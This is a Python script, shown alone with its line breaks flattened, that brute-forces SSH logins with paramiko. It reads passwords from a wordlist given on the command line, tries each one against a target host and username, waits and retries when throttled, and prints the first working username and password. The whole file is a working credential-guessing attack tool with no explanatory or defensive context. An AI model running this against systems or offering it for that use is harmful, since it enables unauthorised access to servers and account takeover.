import sys import paramiko import socket import time import os # anything that running this program prints to stderr should be # redirected to /dev/null # os.dup2(os.open(os.devnull, os.O_WRONLY), 2) def is_ssh_open(hostname, username, password): # initialize SSH client client = paramiko.SSHClient() # add to know hosts client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect(hostname=hostname, username=username, password=password, timeout=3) except socket.timeout: # this is when host is unreachable print(f"[!] Host: {hostname} is unreachable, timed out.") return False except paramiko.AuthenticationException: print(f"[!] Invalid credentials for {username}:{password}") return False except paramiko.SSHException: print(f"[*] Quota exceeded, retrying with delay...") # sleep for a minute time.sleep(60) return is_ssh_open(hostname, username, password) else: # connection was established successfully print(f"[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}") return True if __name__ == "__main__": with open(sys.argv[3]) as wordlist: for password in wordlist.readlines(): password=password.strip("\n") if password.startswith('#'): pass else: if is_ssh_open(sys.argv[1], sys.argv[2], password) == True: break